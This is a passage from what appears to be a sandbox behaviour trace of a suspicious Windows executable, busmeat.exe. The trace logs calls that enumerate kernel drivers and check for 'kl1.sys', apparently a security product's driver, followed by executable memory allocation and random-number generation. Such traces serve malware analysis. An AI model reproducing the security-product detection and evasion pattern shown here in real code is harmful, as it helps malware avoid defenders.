	[0081.790] lstrcmpiW (lpString1="FLTMGR.SYS", lpString2="kl1.sys") returned -1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe6060000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ksecdd.sys") returned 0xa
	[0081.790] lstrcmpiW (lpString1="ksecdd.sys", lpString2="kl1.sys") returned 1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe6090000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="clipsp.sys") returned 0xa
	[0081.790] lstrcmpiW (lpString1="clipsp.sys", lpString2="kl1.sys") returned -1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe6130000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Wdf01000.sys") returned 0xc
	[0081.790] lstrcmpiW (lpString1="Wdf01000.sys", lpString2="kl1.sys") returned 1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe6210000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WDFLDR.SYS") returned 0xa
	[0081.790] lstrcmpiW (lpString1="WDFLDR.SYS", lpString2="kl1.sys") returned 1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe6230000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="acpiex.sys") returned 0xa
	[0081.791] lstrcmpiW (lpString1="acpiex.sys", lpString2="kl1.sys") returned -1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe6260000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WppRecorder.sys") returned 0xf
	[0081.791] lstrcmpiW (lpString1="WppRecorder.sys", lpString2="kl1.sys") returned 1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe6270000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="cng.sys") returned 0x7
	[0081.791] lstrcmpiW (lpString1="cng.sys", lpString2="kl1.sys") returned -1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe6310000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ACPI.sys") returned 0x8
	[0081.791] lstrcmpiW (lpString1="ACPI.sys", lpString2="kl1.sys") returned -1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe63a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WMILIB.SYS") returned 0xa
	[0081.791] lstrcmpiW (lpString1="WMILIB.SYS", lpString2="kl1.sys") returned 1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe63b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WindowsTrustedRT.sys") returned 0x14
	[0081.791] lstrcmpiW (lpString1="WindowsTrustedRT.sys", lpString2="kl1.sys") returned 1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe63d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WindowsTrustedRTProxy.sys") returned 0x19
	[0081.791] lstrcmpiW (lpString1="WindowsTrustedRTProxy.sys", lpString2="kl1.sys") returned 1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe63e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pcw.sys") returned 0x7
	[0081.791] lstrcmpiW (lpString1="pcw.sys", lpString2="kl1.sys") returned 1
	[0081.791] GetDeviceDriverBaseNameW (in: ImageBase=0xe6400000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="msisadrv.sys") returned 0xc
	[0081.792] lstrcmpiW (lpString1="msisadrv.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe6410000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pci.sys") returned 0x7
	[0081.792] lstrcmpiW (lpString1="pci.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe6470000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="vdrvroot.sys") returned 0xc
	[0081.792] lstrcmpiW (lpString1="vdrvroot.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe6480000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pdc.sys") returned 0x7
	[0081.792] lstrcmpiW (lpString1="pdc.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe64a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CEA.sys") returned 0x7
	[0081.792] lstrcmpiW (lpString1="CEA.sys", lpString2="kl1.sys") returned -1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe64c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="partmgr.sys") returned 0xb
	[0081.792] lstrcmpiW (lpString1="partmgr.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe64f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="spaceport.sys") returned 0xd
	[0081.792] lstrcmpiW (lpString1="spaceport.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe6570000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="volmgr.sys") returned 0xa
	[0081.792] lstrcmpiW (lpString1="volmgr.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe6590000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="volmgrx.sys") returned 0xb
	[0081.792] lstrcmpiW (lpString1="volmgrx.sys", lpString2="kl1.sys") returned 1
	[0081.792] GetDeviceDriverBaseNameW (in: ImageBase=0xe65f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mountmgr.sys") returned 0xc
	[0081.793] lstrcmpiW (lpString1="mountmgr.sys", lpString2="kl1.sys") returned 1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe6610000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="storahci.sys") returned 0xc
	[0081.793] lstrcmpiW (lpString1="storahci.sys", lpString2="kl1.sys") returned 1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe6640000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="storport.sys") returned 0xc
	[0081.793] lstrcmpiW (lpString1="storport.sys", lpString2="kl1.sys") returned 1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe66c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="EhStorClass.sys") returned 0xf
	[0081.793] lstrcmpiW (lpString1="EhStorClass.sys", lpString2="kl1.sys") returned -1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe66e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="fileinfo.sys") returned 0xc
	[0081.793] lstrcmpiW (lpString1="fileinfo.sys", lpString2="kl1.sys") returned -1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe6700000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Wof.sys") returned 0x7
	[0081.793] lstrcmpiW (lpString1="Wof.sys", lpString2="kl1.sys") returned 1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe6740000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WdFilter.sys") returned 0xc
	[0081.793] lstrcmpiW (lpString1="WdFilter.sys", lpString2="kl1.sys") returned 1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe6790000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="NTFS.sys") returned 0x8
	[0081.793] lstrcmpiW (lpString1="NTFS.sys", lpString2="kl1.sys") returned 1
	[0081.793] GetDeviceDriverBaseNameW (in: ImageBase=0xe69b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Fs_Rec.sys") returned 0xa
	[0081.794] lstrcmpiW (lpString1="Fs_Rec.sys", lpString2="kl1.sys") returned -1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe69c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ndis.sys") returned 0x8
	[0081.794] lstrcmpiW (lpString1="ndis.sys", lpString2="kl1.sys") returned 1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe6af0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="NETIO.SYS") returned 0x9
	[0081.794] lstrcmpiW (lpString1="NETIO.SYS", lpString2="kl1.sys") returned 1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe6b70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ksecpkg.sys") returned 0xb
	[0081.794] lstrcmpiW (lpString1="ksecpkg.sys", lpString2="kl1.sys") returned 1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe7de0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tcpip.sys") returned 0x9
	[0081.794] lstrcmpiW (lpString1="tcpip.sys", lpString2="kl1.sys") returned 1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe8040000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="fwpkclnt.sys") returned 0xc
	[0081.794] lstrcmpiW (lpString1="fwpkclnt.sys", lpString2="kl1.sys") returned -1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe80b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="wfplwfs.sys") returned 0xb
	[0081.794] lstrcmpiW (lpString1="wfplwfs.sys", lpString2="kl1.sys") returned 1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe80e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="fvevol.sys") returned 0xa
	[0081.794] lstrcmpiW (lpString1="fvevol.sys", lpString2="kl1.sys") returned -1
	[0081.794] GetDeviceDriverBaseNameW (in: ImageBase=0xe8180000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="volsnap.sys") returned 0xb
	[0081.794] lstrcmpiW (lpString1="volsnap.sys", lpString2="kl1.sys") returned 1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e00000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rdyboost.sys") returned 0xc
	[0081.795] lstrcmpiW (lpString1="rdyboost.sys", lpString2="kl1.sys") returned 1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e50000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mup.sys") returned 0x7
	[0081.795] lstrcmpiW (lpString1="mup.sys", lpString2="kl1.sys") returned 1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="disk.sys") returned 0x8
	[0081.795] lstrcmpiW (lpString1="disk.sys", lpString2="kl1.sys") returned -1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe6eb0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CLASSPNP.SYS") returned 0xc
	[0081.795] lstrcmpiW (lpString1="CLASSPNP.SYS", lpString2="kl1.sys") returned -1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe6f30000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="crashdmp.sys") returned 0xc
	[0081.795] lstrcmpiW (lpString1="crashdmp.sys", lpString2="kl1.sys") returned -1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe7050000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="filecrypt.sys") returned 0xd
	[0081.795] lstrcmpiW (lpString1="filecrypt.sys", lpString2="kl1.sys") returned -1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe7070000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tbs.sys") returned 0x7
	[0081.795] lstrcmpiW (lpString1="tbs.sys", lpString2="kl1.sys") returned 1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe7080000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Null.SYS") returned 0x8
	[0081.795] lstrcmpiW (lpString1="Null.SYS", lpString2="kl1.sys") returned 1
	[0081.795] GetDeviceDriverBaseNameW (in: ImageBase=0xe7090000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Beep.SYS") returned 0x8
	[0081.796] lstrcmpiW (lpString1="Beep.SYS", lpString2="kl1.sys") returned -1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe70a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="BasicDisplay.sys") returned 0x10
	[0081.796] lstrcmpiW (lpString1="BasicDisplay.sys", lpString2="kl1.sys") returned -1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe70c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="watchdog.sys") returned 0xc
	[0081.796] lstrcmpiW (lpString1="watchdog.sys", lpString2="kl1.sys") returned 1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe70e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dxgkrnl.sys") returned 0xb
	[0081.796] lstrcmpiW (lpString1="dxgkrnl.sys", lpString2="kl1.sys") returned -1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe72d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="BasicRender.sys") returned 0xf
	[0081.796] lstrcmpiW (lpString1="BasicRender.sys", lpString2="kl1.sys") returned -1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe72f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Npfs.SYS") returned 0x8
	[0081.796] lstrcmpiW (lpString1="Npfs.SYS", lpString2="kl1.sys") returned 1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe7310000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Msfs.SYS") returned 0x8
	[0081.796] lstrcmpiW (lpString1="Msfs.SYS", lpString2="kl1.sys") returned 1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe7320000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tdx.sys") returned 0x7
	[0081.796] lstrcmpiW (lpString1="tdx.sys", lpString2="kl1.sys") returned 1
	[0081.796] GetDeviceDriverBaseNameW (in: ImageBase=0xe7350000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="TDI.SYS") returned 0x7
	[0081.797] lstrcmpiW (lpString1="TDI.SYS", lpString2="kl1.sys") returned 1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe7360000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="netbt.sys") returned 0x9
	[0081.797] lstrcmpiW (lpString1="netbt.sys", lpString2="kl1.sys") returned 1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe73b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="afd.sys") returned 0x7
	[0081.797] lstrcmpiW (lpString1="afd.sys", lpString2="kl1.sys") returned -1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe7450000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="vwififlt.sys") returned 0xc
	[0081.797] lstrcmpiW (lpString1="vwififlt.sys", lpString2="kl1.sys") returned 1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe7470000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pacer.sys") returned 0x9
	[0081.797] lstrcmpiW (lpString1="pacer.sys", lpString2="kl1.sys") returned 1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe74a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="netbios.sys") returned 0xb
	[0081.797] lstrcmpiW (lpString1="netbios.sys", lpString2="kl1.sys") returned 1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe74c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rdbss.sys") returned 0x9
	[0081.797] lstrcmpiW (lpString1="rdbss.sys", lpString2="kl1.sys") returned 1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe7540000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="csc.sys") returned 0x7
	[0081.797] lstrcmpiW (lpString1="csc.sys", lpString2="kl1.sys") returned -1
	[0081.797] GetDeviceDriverBaseNameW (in: ImageBase=0xe75d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="nsiproxy.sys") returned 0xc
	[0081.798] lstrcmpiW (lpString1="nsiproxy.sys", lpString2="kl1.sys") returned 1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe75e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="npsvctrig.sys") returned 0xd
	[0081.798] lstrcmpiW (lpString1="npsvctrig.sys", lpString2="kl1.sys") returned 1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe75f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mssmbios.sys") returned 0xc
	[0081.798] lstrcmpiW (lpString1="mssmbios.sys", lpString2="kl1.sys") returned 1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe7600000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="gpuenergydrv.sys") returned 0x10
	[0081.798] lstrcmpiW (lpString1="gpuenergydrv.sys", lpString2="kl1.sys") returned -1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe7610000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dfsc.sys") returned 0x8
	[0081.798] lstrcmpiW (lpString1="dfsc.sys", lpString2="kl1.sys") returned -1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe7660000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ahcache.sys") returned 0xb
	[0081.798] lstrcmpiW (lpString1="ahcache.sys", lpString2="kl1.sys") returned -1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe76a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CompositeBus.sys") returned 0x10
	[0081.798] lstrcmpiW (lpString1="CompositeBus.sys", lpString2="kl1.sys") returned -1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe76c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kdnic.sys") returned 0x9
	[0081.798] lstrcmpiW (lpString1="kdnic.sys", lpString2="kl1.sys") returned -1
	[0081.798] GetDeviceDriverBaseNameW (in: ImageBase=0xe76d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="umbus.sys") returned 0x9
	[0081.799] lstrcmpiW (lpString1="umbus.sys", lpString2="kl1.sys") returned 1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe76f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HDAudBus.sys") returned 0xc
	[0081.799] lstrcmpiW (lpString1="HDAudBus.sys", lpString2="kl1.sys") returned -1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe7710000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="portcls.sys") returned 0xb
	[0081.799] lstrcmpiW (lpString1="portcls.sys", lpString2="kl1.sys") returned 1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe7770000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="drmk.sys") returned 0x8
	[0081.799] lstrcmpiW (lpString1="drmk.sys", lpString2="kl1.sys") returned -1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe77a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ks.sys") returned 0x6
	[0081.799] lstrcmpiW (lpString1="ks.sys", lpString2="kl1.sys") returned 1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe7810000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="usbehci.sys") returned 0xb
	[0081.799] lstrcmpiW (lpString1="usbehci.sys", lpString2="kl1.sys") returned 1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe7830000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="USBPORT.SYS") returned 0xb
	[0081.799] lstrcmpiW (lpString1="USBPORT.SYS", lpString2="kl1.sys") returned 1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe79b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="NdisVirtualBus.sys") returned 0x12
	[0081.799] lstrcmpiW (lpString1="NdisVirtualBus.sys", lpString2="kl1.sys") returned 1
	[0081.799] GetDeviceDriverBaseNameW (in: ImageBase=0xe79c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="swenum.sys") returned 0xa
	[0081.799] lstrcmpiW (lpString1="swenum.sys", lpString2="kl1.sys") returned 1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe79d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rdpbus.sys") returned 0xa
	[0081.800] lstrcmpiW (lpString1="rdpbus.sys", lpString2="kl1.sys") returned 1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe79e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="usbhub.sys") returned 0xa
	[0081.800] lstrcmpiW (lpString1="usbhub.sys", lpString2="kl1.sys") returned 1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a60000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="USBD.SYS") returned 0x8
	[0081.800] lstrcmpiW (lpString1="USBD.SYS", lpString2="kl1.sys") returned 1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HdAudio.sys") returned 0xb
	[0081.800] lstrcmpiW (lpString1="HdAudio.sys", lpString2="kl1.sys") returned -1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ae0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ksthunk.sys") returned 0xb
	[0081.800] lstrcmpiW (lpString1="ksthunk.sys", lpString2="kl1.sys") returned 1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7af0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="hidusb.sys") returned 0xa
	[0081.800] lstrcmpiW (lpString1="hidusb.sys", lpString2="kl1.sys") returned -1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b10000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HIDCLASS.SYS") returned 0xc
	[0081.800] lstrcmpiW (lpString1="HIDCLASS.SYS", lpString2="kl1.sys") returned -1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b40000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HIDPARSE.SYS") returned 0xc
	[0081.800] lstrcmpiW (lpString1="HIDPARSE.SYS", lpString2="kl1.sys") returned -1
	[0081.800] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b60000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kbdhid.sys") returned 0xa
	[0081.801] lstrcmpiW (lpString1="kbdhid.sys", lpString2="kl1.sys") returned -1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kbdclass.sys") returned 0xc
	[0081.801] lstrcmpiW (lpString1="kbdclass.sys", lpString2="kl1.sys") returned -1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Razerlow.sys") returned 0xc
	[0081.801] lstrcmpiW (lpString1="Razerlow.sys", lpString2="kl1.sys") returned 1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ba0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mouhid.sys") returned 0xa
	[0081.801] lstrcmpiW (lpString1="mouhid.sys", lpString2="kl1.sys") returned 1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7bb0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mouclass.sys") returned 0xc
	[0081.801] lstrcmpiW (lpString1="mouclass.sys", lpString2="kl1.sys") returned 1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7be0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dump_diskdump.sys") returned 0x11
	[0081.801] lstrcmpiW (lpString1="dump_diskdump.sys", lpString2="kl1.sys") returned -1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c20000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dump_storahci.sys") returned 0x11
	[0081.801] lstrcmpiW (lpString1="dump_storahci.sys", lpString2="kl1.sys") returned -1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dump_dumpfve.sys") returned 0x10
	[0081.801] lstrcmpiW (lpString1="dump_dumpfve.sys", lpString2="kl1.sys") returned -1
	[0081.801] GetDeviceDriverBaseNameW (in: ImageBase=0x12720000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="win32k.sys") returned 0xa
	[0081.802] lstrcmpiW (lpString1="win32k.sys", lpString2="kl1.sys") returned 1
	[0081.803] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.803] EnumDeviceDrivers (in: lpImageBase=0x19ff08, cb=0x4, lpcbNeeded=0x19ff0c | out: lpImageBase=0x19ff08*=0xc1c05000, lpcbNeeded=0x19ff0c) returned 1
	[0081.803] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.803] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19ff08 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19ff08) returned 1
	[0081.806] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.806] EnumDeviceDrivers (in: lpImageBase=0x19fe98, cb=0x4, lpcbNeeded=0x19fe9c | out: lpImageBase=0x19fe98*=0xc1c05000, lpcbNeeded=0x19fe9c) returned 1
	[0081.806] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.807] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19fe98 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19fe98) returned 1
	[0081.809] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.809] EnumDeviceDrivers (in: lpImageBase=0x19fea4, cb=0x4, lpcbNeeded=0x19fea8 | out: lpImageBase=0x19fea4*=0xc1c05000, lpcbNeeded=0x19fea8) returned 1
	[0081.809] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.810] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19fea4 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19fea4) returned 1
	[0081.812] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.812] EnumDeviceDrivers (in: lpImageBase=0x19fea4, cb=0x4, lpcbNeeded=0x19fea8 | out: lpImageBase=0x19fea4*=0xc1c05000, lpcbNeeded=0x19fea8) returned 1
	[0081.812] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.813] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19fea4 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19fea4) returned 1
	[0081.815] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.815] EnumDeviceDrivers (in: lpImageBase=0x19fea4, cb=0x4, lpcbNeeded=0x19fea8 | out: lpImageBase=0x19fea4*=0xc1c05000, lpcbNeeded=0x19fea8) returned 1
	[0081.815] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.816] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19fea4 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19fea4) returned 1
	[0081.818] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.818] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x40) returned 0xe40000
	[0081.819] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe40000, nSize=0x100 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0081.819] lstrlenW (lpString="PRIDUR") returned 6
	[0081.819] CryptAcquireContextW (in: phProv=0x19fec8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x19fec8*=0xd4b548) returned 1
	[0082.047] VirtualAlloc (lpAddress=0x0, dwSize=0x7, flAllocationType=0x3000, flProtect=0x40) returned 0xe50000
	[0082.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0082.047] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0082.047] CryptGenRandom (in: hProv=0xd4b548, dwLen=0x6, pbBuffer=0xe50000 | out: pbBuffer=0xe50000) returned 1
